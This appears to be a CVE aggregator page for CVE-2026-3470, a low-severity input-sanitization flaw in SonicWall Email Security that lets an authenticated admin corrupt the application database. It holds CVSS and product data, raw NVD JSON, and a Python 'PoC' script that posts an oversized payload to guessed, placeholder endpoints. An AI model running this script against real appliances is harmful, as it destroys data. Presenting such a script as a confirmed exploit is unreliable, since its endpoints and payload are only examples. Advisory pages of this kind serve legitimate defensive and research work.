Security Vulnerability Report
中文
CVE-2026-3470 CVSS 3.8 LOW

CVE-2026-3470

Published: 2026-03-31 21:16:33
Last Modified: 2026-04-13 15:26:04

Description

A vulnerability exists in the SonicWall Email Security appliance due to improper input sanitization that may lead to data corruption, allowing a remote authenticated attacker as admin user could exploit this issue by providing crafted input that corrupts application database.

CVSS Details

CVSS Score
3.8
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:sonicwall:email_security:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sonicwall:esa5000:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:sonicwall:esa5050:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:sonicwall:esa7000:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:sonicwall:esa7050:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:sonicwall:esa9000:-:*:*:*:*:*:*:* - NOT VULNERABLE
请参考官方公告(SNWLID-2026-0002)获取具体受影响版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: SonicWall Email Security Database Corruption PoC # CVE: CVE-2026-3470 # Description: This script sends a crafted payload to corrupt the database. # Note: Requires Admin credentials. target_url = "https://<target-ip>/api/endpoint" username = "admin" password = "admin_password" session = requests.Session() login_payload = {"user": username, "pass": password} # Authenticate login_resp = session.post(f"{target_url}/login", data=login_payload, verify=False) if login_resp.status_code != 200: print("Login failed") exit() # Crafted payload designed to cause data corruption # Example: Injecting extremely long string or special characters malicious_payload = { "config_setting": "db_integrity_check", "value": "A" * 10000 + "\x00\x01\x02\x03" } # Send exploit exploit_resp = session.post(f"{target_url}/update_config", json=malicious_payload, verify=False) if exploit_resp.status_code == 200: print("Payload sent successfully. Database may be corrupted.") else: print(f"Failed. Status code: {exploit_resp.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3470", "sourceIdentifier": "[email protected]", "published": "2026-03-31T21:16:33.363", "lastModified": "2026-04-13T15:26:04.477", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability exists in the SonicWall Email Security appliance due to improper input sanitization that may lead to data corruption, allowing a remote authenticated attacker as admin user could exploit this issue by providing crafted input that corrupts application database."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:L", "baseScore": 3.8, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sonicwall:email_security:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.35.8405", "matchCriteriaId": "AD63C704-413C-43B7-9475-A19411E3BF6B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:esa5000:-:*:*:*:*:*:*:*", "matchCriteriaId": "91ED89A0-CFFB-44D3-8DE8-64E8DB635872"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:esa5050:-:*:*:*:*:*:*:*", "matchCriteriaId": "69CD3296-0424-46C7-82F1-3BE7892B72C2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:esa7000:-:*:*:*:*:*:*:*", "matchCriteriaId": "3FE6D8AA-F614-404A-9006-A94763AA23B5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:esa7050:-:*:*:*:*:*:*:*", "matchCriteriaId": "F748C59C-740B-4F52-9E0D-70F7D4E9AA07"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:esa9000:-:*:*:*:*:*:*:*", "matchCriteriaId": "7D46ECFF-FA41-4861-A047-1EEFD89D13DD"}]}]}], "references": [{"url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0002", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}